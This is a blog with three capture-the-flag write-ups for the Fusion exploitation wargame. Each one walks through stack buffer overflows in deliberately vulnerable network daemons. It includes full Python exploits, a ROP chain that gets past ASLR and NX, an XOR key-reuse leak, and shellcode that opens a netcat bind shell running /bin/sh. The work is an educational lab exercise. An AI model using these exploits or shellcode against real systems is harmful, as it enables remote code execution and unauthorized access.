Saturday, March 23, 2013

exploit-exercises Fusion: Level02

This is the write-up for level02 of exploit-exercises' Fusion wargame. This level deals with bypassing ASLR and NX/DEP security mechanisms to exploit a stack-based Buffer overflow vulnerability. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
    int fd;
    fd = open("/dev/urandom", O_RDONLY);
    if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
    close(fd);
    keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
    blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");

  loop = 1;
  while(loop) {
    nread(0, &op, sizeof(op));
    switch(op) {
      case 'E':
        nread(0, &sz, sizeof(sz));
        nread(0, buffer, sz);
        cipher(buffer, sz);
        printf("[-- encryption complete. please mention "
        "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
        "staff to retrieve your file --]\n");
        nwrite(1, &sz, sizeof(sz));
        nwrite(1, buffer, sz);
        break;
      case 'Q':
        loop = 0;
        break;
      default:
        exit(EXIT_FAILURE);
    }
  }
   
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}
From a first glance, it is apparent that the vulnerability is caused by the nread(0, buffer, sz) call. Although nread() takes a size argument, the whole process is quite insecure due to the size variable's value being user-controlled with no other boundary restrictions.
Quick offset calculation yields:
(gdb) break encrypt_file
Breakpoint 1 at 0x8049800: file level02/level02.c, line 40.
(gdb) continue
Continuing.
[New process 2317]
[Switching to process 2317]

Breakpoint 1, encrypt_file () at level02/level02.c:40
40      level02/level02.c: No such file or directory.
        in level02/level02.c
(gdb) p $ebp - (int) &buffer + 4
$1 = (void *) 0x20010
Ignoring the cipher() part for the moment, in order to crash the daemon we have to send 'E' op, followed by the "file size" (4 bytes), followed by the file content.
However, this alone won't be enough, as the program will exit gracefully with
the exit(3) call instead of returning to the provided address as shown by below.
(gdb) tb exit
Temporary breakpoint 1 at 0xe349e0: file exit.c, line 99. 
kroosec@doj:~$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4" | ncat 192.168.25.2 20002 
(gdb) continue
Continuing.
[New process 2338]
[Switching to process 2338]

Temporary breakpoint 1, __GI_exit (status=1) at exit.c:99
99      exit.c: No such file or directory.
        in exit.c
(gdb) continue
Continuing.
[Inferior 2 (process 2338) exited with code 01]
We need to add the 'Q' op to force the loop variable to 0 and return from
encrypt_file() function.
kroosec@doj:~$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | ncat 192.168.25.2 20002
(gdb) continue
Continuing.
[New process 2371]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2371]
0x08049915 in encrypt_file () at level02/level02.c:62
62  in level02/level02.c
(gdb) x/i $eip
=> 0x8049915 <encrypt_file+286>:    ret
(gdb) i r $ebp
ebp            0xf326561b   0xf326561b
No 0x41414141 and 0x42424242 values ? Our input is overwritten by cipher() as
demonstrated below.
(gdb) break 49
Breakpoint 2 at 0x8049891: file level02/level02.c, line 49.
(gdb) continue
Continuing.
[New process 2381]
[Switching to process 2381]

Breakpoint 2, encrypt_file () at level02/level02.c:49
49  in level02/level02.c
Just before cipher() call
(gdb) x/2x $ebp
0xbfe60be8: 0x41414141  0x42424242
And after cipher() call
(gdb) n
50  in level02/level02.c
(gdb) x/2x $ebp
0xbfe60be8: 0x3c0cf79a  0x280a4404
cipher() will XOR the buffer with the content of keybuf. Keybuf's 128 bytes content is pseudo-randomly generated through /dev/urandom.
To write a certain value A in buffer, we need to send the result of its XOR with keybuf (A XOR K XOR K == A).
Can we "guess" keybuf's content in advance ? No.
However, as keyed is defined as static, it will be persistent through multiple cipher() calls, resulting in keybuf's (a static variable too) content to be generated only once and used for multiple encryptions. We have an information leak in the form of the cipher-text being sent back to us and as we know the plain-text part, it is easy to extract the key from there.
A wise/insane man in a crypto class told us once:"Key reuse, ahoy!"
We will send "E" + 128 in little endian + "A"*128, read the encrypted content, extract the key by XOR'ing it with "A"*128 and sending the PoC payload ("A"*0x020010 + "B"*0x4) after encrypting it with the key followed by "Q". (Python script to automate all the exploitation steps is at the end of the
article.) Here are the interesting parts of the crash:
(gdb) continue
Continuing.
[New process 2027]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2027]
0x08049915 in encrypt_file () at level02/level02.c:62
62      in level02/level02.c
(gdb) x/i $eip
=> 0x8049915 <encrypt_file+286>:        ret
(gdb) x/4wx $esp
0xbfc7e9dc:     0x42424242      0x00000004      0x00004e22      0x00004e22
(gdb) i r $ebp
ebp            0x41414141       0x41414141
Yep, total control of EIP. It almost feels good to see these 0x42424242 and 0x41414141 values again.
Now, for the exploitation part. Return-Oriented Programming techniques are to be used in order to bypass the combination of ASLR and DEP. This works by chaining returns to useful gadgets (eg. pop eax; pop ebx; ret) which are stored in fixed addresses (not affected by ASLR, like .text segment.)
Fusion comes already with a useful tool called ROPGadget, which would let us
automate the process of searching for usable gadgets.
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -gGadgets information
============================================================
0x080487f6: pop %edi | ret
0x08048815: add $0x08,%esp | pop %ebx | ret
0x08048818: pop %ebx | ret
0x08048b0f: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08048b12: pop %ebx | pop %ebp | ret
0x08048b13: pop %ebp | ret
0x08048b3f: call *%eax
0x08048b7f: sub $0xc9fffffd,%eax | ret
0x08048bc3: mov $0xc9fffffc,%ecx | ret
0x080499bc: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080499d2: mov (%esp),%ebx | ret
0x080499f8: sub $0x04,%ebx | call *%eax
0x08049fe3: call *(%ebx)
[...]
First, let's start with laying out some foundations. A simple exit(33) call
using pop %ebx; ret; followed by call *(%ebx);
root@fusion:/opt/fusion/bin# objdump -R ./level02
[...]
0804b3c4 R_386_JUMP_SLOT   exit
[...]
The rop chain used is:
rop2 = "\x18\x88\x04\x08" + "\xc4\xb3\x04\x08" + "\xe3\x9f\x04\x08" + "\x21\x00\x00\x00"
0x08048818 is the address of the first gadget. 0x0804b3c4 is the address
containing the reference to exit() call in GOT. 0x08049fe3 is the address of the
second gadget. 0x21 == 33.
Launching the PoC, the gdb session expectedly gives:
(gdb) continue
Continuing.
[New process 1446]
[Inferior 18 (process 1446) exited with code 041]
(gdb) p 041
$5 = 33
Works as expected. The program exits with code 33.
From this point, a great amount of time was spent experimenting with possible variations. I started trying multiple variations and using multiple ROP gadgets finders (msfrop, ropeme), in order to get a system() execution with GOT Dereferencing technique (as explained in this presentation.)
Due to the lack of good gadgets, I decided to go for a two-stage exploit with fake frame instead (well detailed in this presentation from BHUS 2010) We will write our new stack frame in the readable/writable .bss section.
(gdb) maintenance info sections
Exec file:
    `/opt/fusion/bin/level02', file type elf32-i386.
    [...]
    0x804b420->0x804b500 at 0x00002418: .bss ALLOC
    [...]
There aren't many interesting function pointers in the GOT to use for data writing in this case.
After pop'ing a BBBB into ebp, will return to nread() which is in the .text section.
(gdb) p nread
$1 = {ssize_t (int, void *, size_t)} 0x804952d <nread>
With a crashing PoC that consists of:
junk = "A"*0x20010
bss = pack("<L", 0x0804b420)
nread = pack("<L", 0x0804952d)
fd = pack("<L", 0)
size = pack("<L", 100)
popebp = pack("<L", 0x08048b13)
ebp = "BBBB"
ret = "CCCC"
# pop ebp (BBBB); ret => nread(0, @bss, 100); ret => CCCC
stage0 = popebp + ebp + nread + ret + fd + bss + size
payload1 = junk + stage0
Followed by Q and then D*100, we get this gdb session.
(gdb) continue
Continuing.
[New process 1328]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1328]
0x0804959f in nread (fd=Cannot access memory at address 0x4242424a
) at level02/../common/common.c:301
301     in level02/../common/common.c
(gdb) x/i $eip
=> 0x804959f <nread+114>:       ret
(gdb) x/4w $esp
0xbfa2f5a0:     0x43434343      0x00000000      0x0804b420      0x00000064
(gdb) i r ebp
ebp            0x42424242       0x42424242
(gdb) x/28wx 0x804b420
0x804b420 <environ@@GLIBC_2.0>: 0x44444444      0x44444444      0x44444444      0x44444444
0x804b430:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b440 <stdout@@GLIBC_2.0>:  0x44444444      0x44444444      0x44444444      0x44444444
0x804b450:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b460 <keyed.5339>: 0x44444444      0x44444444      0x44444444      0x44444444
0x804b470:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b480 <keybuf.5340>:        0x44444444      0xddaac6e0      0x382778e5      0x754a34a4
Everything as expected. Time to weaponize the exploit.
First, returning to a leave+ret gadget which will let us rebase our stack frame.
fusion@fusion:/opt/fusion/bin$ objdump -d ./level02 | grep "leave" -A1 -m1
 8048b41:   c9                      leave
 8048b42:   c3                      ret
execve() entry in the program's PLT is:
fusion@fusion:/opt/fusion/bin$ objdump -d ./level02 | grep "<execve@plt>:"
080489b0 <execve@plt>:
And exit()'s is:
root@fusion:~# objdump -d /opt/fusion/bin/level02 | grep "<exit@plt>:"
08048960 <exit@plt>:
To sum the exploit, we will create a new stack frame for to execute execve("/bin/nc", {"/bin/nc", "-ltp6667", "-e/bin/sh", NULL}, NULL) to get a shell with a netcat session listening on tcp port 6667.
The full python script for the exploit is:

#! /usr/bin/env python
import socket
from time import sleep
from struct import pack

def encrypt(text, key, keysize):
    return "".join([chr(ord(x) ^ ord(key[ i % keysize])) for i, x in enumerate(text)])

def xorstr(a, b):
    if len(a) > len(b):
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
    else:
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])

# Connect to target and receive 1st message.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.25.2", 20002))
sleep(0.5)
s.recv(1024)

# Send dummy data and extract key from response.
keysize = 128
dummy = "A"*keysize
s.send("E")
s.send(pack("<L", keysize))
s.send(dummy)
s.recv(2048)
temp = s.recv(2048)
encrypted = temp[-keysize:]
key = xorstr(dummy, encrypted)

# Test to detect any issues.
if len(key) != keysize or key.find("encryption") != -1:
    print "Key extraction fail."
    exit(1)

################ Exploit starts here. ##################
base = 0x0804b420 # Base of new frame.
junk = "A"*0x20010
bss = pack("<L", base)
nread = pack("<L", 0x0804952d)
fd = pack("<L", 0)
size = pack("<L", 100)
popebp = pack("<L", 0x08048b13)
ebp = bss
leaveret = pack("<L", 0x08048b41)
# pop ebp (.bss); nread(fd, @bss, size); leave (.bss) + ret (.bss+4)
stage0 = popebp + ebp + nread + leaveret + fd + bss + size
payload1 = junk + stage0

# Send Stage0 payload
cipher1 = encrypt(payload1, key, keysize)
s.send("E")
s.send(pack("<L", len(cipher1)))
s.send(cipher1)
print "stage0 SENT"
sleep(0.5)

# Clean socket.
s.recv(0xffffff)
s.send("Q")
sleep(0.5)

# Stage1.
null = pack("<L", 0x0) # Null pointer
filler = "DDDD" # placeholder junk.
execve = pack("<L", 0x080489b0) # execve@plt to launch backdoor.
exit = pack("<L", 0x08048960) # exit@plt for a graceful exit.
args = pack("<L", base + 24) # 2nd arg for execve() {"/bin/nc", "-lp6667", "-e/bin/sh", NULL}
envp = null # Third argument  for execve()

data_offset = 40 # filler + @execve + @exit + 3 execve args + args[4] == 40
# execve() arguments
binnc = pack("<L", base + data_offset)
ncarg1 = pack("<L", base + data_offset + 8) # -ltp6667 is 8 bytes after binnc
ncarg2 = pack("<L", base + data_offset + 17) # -e/bin/sh is 17 bytes after binnc


# Send Stage2 payload.
stage1 = filler + execve + exit + binnc + args + envp
stage1 += binnc + ncarg1 + ncarg2 + null
stage1 += "/bin/nc\x00" + "-ltp6667\x00" + "-e/bin/sh\x00"
junk = "E" * (100 - len(stage1))
s.send(stage1+junk)
print "stage1 SENT"
s.close()
Testing everything:
kroosec@doj:~$ ncat 192.168.25.2 6667
id

uid=20002 gid=20002 groups=20002
And that is it for level02!

Saturday, March 9, 2013

exploit-exercises Fusion: Level01

This is the write for level01 of exploit-exercises' Fusion wargame. This level is similar to the previous one with one exception: ASLR is enabled (Stack/Heap/mmap). The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

int fix_path(char *path)
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request(); 
}
To demonstrate the issue, let's start by investigating how the levelXX daemons are started in Fusion.
monit (http://mmonit.com/monit/) is used to launch the various vulnerable daemons in Fusion.
root@fusion:~# ls /etc/monit/conf.d/
level00  level01  level02  level03  level04  level05  level06  level07  level08  level09
The difference between level00 and level01 is in the -R option passed to setarch
program.
root@fusion:~# diff /etc/monit/conf.d/level0{0,1}
1,3c1,3
< check process level00 with pidfile /opt/fusion/run/level00.pid
<   start program = "/usr/bin/setarch i386 -X -R /opt/fusion/bin/level00"
<   stop program = "/usr/bin/killall -9 level00"
---
> check process level01 with pidfile /opt/fusion/run/level01.pid
>   start program = "/usr/bin/setarch i386 -X /opt/fusion/bin/level01"
>   stop program = "/usr/bin/killall -9 level01"
The -R flag tells setarch to disable randomization of the virtual address space. A quick test with level00 shows this.
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbf994978 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbfdb2018 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbfe45948 :-)
Notice how the address of buffer changes. Testing with the -R flag, we get
instead:
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
Now, buffer is always at the same address: 0xbffff368!
With that being said, it is time to exploit level01. Unlike the previous level, we won't be able to return directly to our nop sled / shellcode as we don't know where it will be located.
However, note that not everything in our binary will be randomized. Given that level01 binary is not built as PIE (Position Independant Executable.), content of the .text segment will always be located at the same addresses.
root@fusion:/opt/fusion/bin# gdb -q level01
Reading symbols from /opt/fusion/bin/level01...done.
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804997a <+0>:     push   %ebp
   0x0804997b <+1>:     mov    %esp,%ebp
   0x0804997d <+3>:     and    $0xfffffff0,%esp
   [...]
This will always yield the same results over numerous executions.
Obviously, we won't have a "shellcode" ready to use within our binary to return to. However, as I will detail in the next part, we can still use a snippet from
.text segment as a "stepping-stone".
First, let's test with a simple PoC.
kroosec@doj:~$ python -c "print 'GET /'+'A'*139 + '\x7a\x99\x04\x08' + 'C'*12 +' HTTP/1.1'" | ncat 192.168.25.2 20001
From the previous level, we know that we have 140 bytes of offset, EIP's value
will be 0x0804997a when fix_path returns. The value "0x804997a" I chose here
doesn't matter, as long as it won't segfault directly. We will have this session in gdb on our target machine.
(gdb) disassemble fix_path
Dump of assembler code for function fix_path:
   0x08049815 <+0>:     push   %ebp
   [...] 
   0x08049854 <+63>:    ret   
End of assembler dump.
(gdb) tb *fix_path+63
Temporary breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
(gdb) continue
[...]
(gdb) x/12x $esp + 140
0xbfc48188: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfc48198: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfc481a8: 0x0804997a  0x43434343  0x43434343  0x43434343
Once we return from fix_path(), our new stack's top is the chain of 'C' we
added after the return address, which is just logical given basic x86 knowledge.
(gdb) x/4x $esp
0xbfc48100:     0x43434343      0x43434343      0x43434343      0x00176100
And what if instead of returning to a random address like 0x0804997a, we return to the address of a "jump esp" ? That's right, that 0x434343... sequence will become our new shellcode! To find a viable address to jump, nothing easier and more efficient than scanning the binary with metasploit's msfelfscan tool.
root@fusion:/opt/metasploit-framework# ./msfelfscan -j esp ../fusion/bin/level01
[../fusion/bin/level01]
0x08049f4f jmp esp
Quick test of our theory.
kroosec@doj:~$ python -c "print 'GET /'+'A'*139 + '\x4f\x9f\x04\x08' + '\xcc'+
'C'*11 +' HTTP/1.1'" | ncat 192.168.25.2 20001
will result in
(gdb) continue
Continuing.
[New process 4418]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 4418]
0xbfc48101 in ?? ()
Yep, that is the case! Now, with the full exploit.
#!/usr/bin/env python
get = 'GET '
path = '\x90' * 137 + '\xeb\x12'
ret = '\x4f\x9f\x04\x08'
rel_jmp = '\xeb\x25'
proto = ' HTTP/1.1'
nop = '\x90' * 30
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload = get + path + ret + rel_jmp + proto + nop + shellcode
print payload
A walkthrough is needed to explain all these jumps and nop sleds.
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
We send the payload
kroosec@doj:~$ python payload01.py | ncat 192.168.25.2 20001 &
[1] 8699

And break just before fix_path() returns.
(gdb) x/i $eip
=> 0x8049854 <fix_path+63>: ret
(gdb) x/4wx $esp
0xbfc480fc: 0x08049f4f  0xbf0025eb  0x00000020  0x00000004
(gdb) si
Cannot access memory at address 0x12eb9094
(gdb) x/i $eip
=> 0x8049f4f:   jmp    *%esp
We return to our lovely "jmp esp" which will send us to resolved's rel_jmp.
(Remember that only get+path+ret+rel_jmp were copied into resolved.)
(gdb) si
0xbfc48100 in ?? ()
(gdb) x/i $eip
=> 0xbfc48100:  jmp    0xbfc48127
(gdb) x/10wx $eip
0xbfc48100: 0xbf0025eb  0x00000020  0x00000004  0x001761e4
0xbfc48110: 0x001761e4  0x000027d8  0x20544547  0x90909090
0xbfc48120: 0x90909090  0x90909090
We need this jump to skip some junk that is on the stack and buffer's get. We don't want to execute random stuff. ;)
(gdb) si
0xbfc48127 in ?? ()
(gdb) x/i $eip
=> 0xbfc48127:  nop
We are now in buffer's path (which is a long nop sled.) we will slide down to the relative jump (\xeb\x12) at the end of path.
(gdb) x/20i $eip + 120
   0xbfc4819f:  nop
   0xbfc481a0:  nop
   0xbfc481a1:  nop
   0xbfc481a2:  nop
   0xbfc481a3:  nop
   0xbfc481a4:  nop
   0xbfc481a5:  jmp    0xbfc481b9
   0xbfc481a7:  dec    %edi
   0xbfc481a8:  lahf  
   0xbfc481a9:  add    $0x8,%al
   0xbfc481ab:  jmp    0xbfc481d2
   0xbfc481ad:  add    %cl,0x54(%eax)
   0xbfc481b0:  push   %esp
   0xbfc481b1:  push   %eax
   0xbfc481b2:  das   
   0xbfc481b3:  xor    %ebp,(%esi)
   0xbfc481b5:  xor    %edx,-0x6f6f6f70(%eax)
   0xbfc481bb:  nop
   0xbfc481bc:  nop
   0xbfc481bd:  nop
This jump is needed to skip buffer's ret,rel_jmp and proto
(gdb) tb *0xbfc481a5
Temporary breakpoint 2 at 0xbfc481a5
(gdb) continue
Continuing.

Temporary breakpoint 2, 0xbfc481a5 in ?? ()
(gdb) si
0xbfc481b9 in ?? ()
This jump will send us to the nop sled preceding our shellcode.
(gdb) x/5i $eip + 25
   0xbfc481d2:  nop
   0xbfc481d3:  nop
   0xbfc481d4:  xor    %eax,%eax
   0xbfc481d6:  push   %eax
   0xbfc481d7:  push   $0x636e2f6e
We continue, and connect to our backdoor!
kroosec@doj:~$ ncat 192.168.25.2 6666
id

uid=20001 gid=20001 groups=20001
And that is it, phew!

Wednesday, March 6, 2013

exploit-exercises Fusion: Level00

This is the write-up for level00, the first level in the Fusion exploitation wargame of exploit-exercises.
The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

int fix_path(char *path)
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  printf("[debug] buffer is at 0x%08x :-)\n", buffer);

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID);
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request();
}
The vulnerability in this challenge occurs in fix_path() function, where a buffer allocated on the stack (automatic variable) with a size of 128 bytes is passed to realpath(3). realpath() takes no buffer size parameter, and its only upper boundary is PATH_MAX value. On our plateform:
root@fusion:~/level00# grep PATH_ /usr/include/linux/limits.h
#define PATH_MAX        4096    /* # chars in a path name including nul */
In this case, overflowing the buffer on the stack is trivial. This could be easily fixed by passing NULL value as second argument, in which case, realpath() will call malloc(3) to allocate memory dynamically.

To exploit this vulnerability, we start by finding the offset to override the fix_path()'s return pointer.
root@fusion:~/level00# gdb -q -p `pgrep level00`
(gdb) set follow-fork-mode child
(gdb) break fix_path

Breakpoint 1 at 0x804981e: file level00/level00.c, line 7.

On the attacker side:
kroosec@doj:~$ python -c "print 'GET /' + 'A'*131 + 'BBBB' + 'CCCC' + 'DDDD' + '
HTTP/1.1 EEEEEEEEEEE'" | nc 192.168.25.2 20000

Continuing with our program:
(gdb) continue
[...]
(gdb) p &resolved
$2 = (char (*)[128]) 0xbffff850
(gdb) x/2wx $ebp
0xbffff8d8: 0xbffffd08  0x08049970
(gdb) p 0xd8 + 0x4 - 0x50
$3 = 140
We will unsurpringly segfault on 0x44444444 (DDDD) memory access.
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
In other words, we have 140 bytes of path as offset before overwriting the return
value.
Questions remaining are, where to return, and to what.
"Where ?"'s answer starts the debug message.
[debug] buffer is at 0xbffff8f8 :-)
Taking into account the offset and other values such as GET, HTTP/1.1 etc,. we
can control the input freely after 158 bytes.
(gdb) p/x 0xbfffff8f8 + 158
$5 = 0xbfffff996
Demonstrated with this payload.
kroosec@doj:~$ python -c "print 'GET /' + 'A'*131 + 'BBBB' + 'CCCC' +
'\x96\xf9\xff\xbf' + ' HTTP/1.1 '+'\xcc'+'DDDDDDDDDDDDD'" | nc 192.168.25.2 20000
(gdb) continue
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff997 in ?? ()
The "what?"'s answer is "Shellcode!"
We will simply use one from a previously solved challenge in Protostar wargame.
One small alteration, we will add is change /etc/traditional/nc symbolic link to
point to nc.traditional instead of nc.openbsd.
root@fusion:~# ln -f -s /bin/nc.traditional /etc/alternatives/nc
And the Python script to generate the whole payload.
kroosec@doj:~$ cat pay00.py
#!/usr/bin/env python

get = 'GET '
path = '/'+ 'A' * 139
ret = '\xa6\xf9\xff\xbf'
proto = ' HTTP/1.1'
nop = '\x90' * 30
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload = get + path + ret + proto + nop + shellcode
print payload
Wrapping-up everything.
kroosec@doj:~$ python pay00.py | ncat 192.168.25.2 20000 &
[1] 5062
kroosec@doj:~$ ncat 192.168.25.2 6666
id
uid=20000 gid=20000 groups=20000
That is for level00!